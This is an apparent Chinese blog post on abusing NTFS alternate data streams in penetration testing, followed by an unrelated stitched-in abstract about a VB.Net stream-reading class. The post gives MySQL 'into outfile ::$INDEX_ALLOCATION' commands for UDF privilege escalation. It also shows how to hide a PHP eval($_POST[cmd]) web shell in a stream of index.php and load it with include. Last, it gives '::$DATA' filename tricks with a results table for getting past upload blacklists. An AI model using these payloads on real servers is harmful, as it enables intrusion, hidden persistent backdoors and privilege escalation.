NTFS的ADS流应用

所有的文件在NTFS上都至少包括一个流-主流,即是我们平常看到可以存数据的文件。一个流的全名包括下面三个部分:<文件名>:<流名>:<流类型>

流在渗透中比较实用的有这几个方面:


top1:在udf提权中,mysql在5.1版本下udf直接导入c:/windows下就行,在5.1版本以上要导入mysql目录下的lib\plugin\目录,又5.1版本在安装时候默认没有lib\plugin目录的,除非你安装的是完整版(官方的那种200多M的)。所以可以用ADS流来创建目录,就绕过了这个限制。例如:

select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION'; 
select 'xxx' into outfile 'D:\\mysql\\lib\\plugins::$INDEX_ALLOCATION';

我用的是win2003和mysql5.3.10测试失败,应该是高版本mysql限制了流的使用,估计只能在5.1版本左右可以用。

 

top2:在webshell中的使用,在服务器上echo一个数据流文件到正常网页上。比如

<pre name="code" class="html">echo ^<?php eval($_POST[cmd])?^> >index.php:hidden.txt
 

上,index网页会正常显示,就是会多了一个流文件,我们用上传一个正常的php文件,文件包含内容是

<pre name="code" class="html"><?php include('index.php:hidden.txt')?>
 

一句话便被包含进来了,达到了隐蔽的效果。

 

top3:绕过黑名单验证

在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:
上传的文件名 服务器表面现象 生成的文件内容

<pre name="code" class="html">Test.php:a.jpg 生成Test.php 空 
Test.php::$DATA 生成test.php <?php phpinfo();?> 
Test.php::$INDEX_ALLOCATION 生成test.php文件夹 
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?> 
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>
 

PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。 根据第二个现象,我们可以bypass一些黑名单验证。 后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。(由于windows把\ /当成了目录,而上传只认识文件名所导致的)

参考自:http://zone.wooyun.org/content/1064

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
摘要:NTFS是Microsoft公司开发的一种有着良好安全性和稳定性的高性能文件系统,NTFS文件文件夹中附加多个额外的数据,但是其访问一直没有很好的解决办法,本文使用VB2003实现NTFS文件附加数据的读写类,提供.Net框架下NTFS文件附加数据的完整解决方案。 关键词:VB.Net NTFS 数据 类 在项目中选择添加引用->浏览->选择“JWBStreamOP.dll”文件->确定,即可成功引用。 4.1 类的声明: Dim myStreamOP As New ClassJWBStreamOP(“NTFS文件完整路径”) 4.2 属性: 该类共有3个只读属性 属性名 返回值类型 备注 FileName String 只读,在成功声明后使用 Ready Boolean 只读,该类可操作时为True Ver String 只读,类版本、版权信息 4.3 方法 该类共有6个方法: 4.3.1 OpenNTFSStream(ByVal sStreamName As String) As System.IO.FileStream 打开指定文件(声明时指定)的指定数据,返回值为指定数据的FileStream接口。 参数列表 类型 传递方式 参数说明 sStreamName String Byval 文件名 4.3.2 GetNTFSStreamSize(ByVal sStreamName As String) As Long 获取指定数据的大小,返回实际大小,执行失败返回-1 参数列表 类型 传递方式 参数说明 sStreamName String Byval 文件名 4.3.3 AddNTFSStream(ByVal toHidName As String, ByRef percentDone As Double) As Boolean 添加附加数据,返回执行结果。 参数列表 类型 传递方式 参数说明 toHidName String ByVal 待添加的文件路径 percentDone Double ByRef 传递一个完成百分比的参数 4.3.4 SaveNTFSStream(ByVal sStreamName As String, ByVal outFileName As String, ByRef percentDone As Double) As Boolean将指定的数据保存为文件,返回执行结果。 参数列表 类型 传递方式 参数说明 sStreamName String ByVal 文件名 outFileName String ByVal 保存文件路径 percentDone Double ByRef 传递一个完成百分比的参数 4.3.5 ReadNTFSStreamsName() As String() 获取文件的所有附加数据名称,返回名称数组。 4.3.6 DeleteNTFSStream(ByVal sStreamName As String) As Boolean 删除指定数据,返回执行结果。 参数列表 类型 传递方式 参数说明 sStreamName String Byval 文件

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值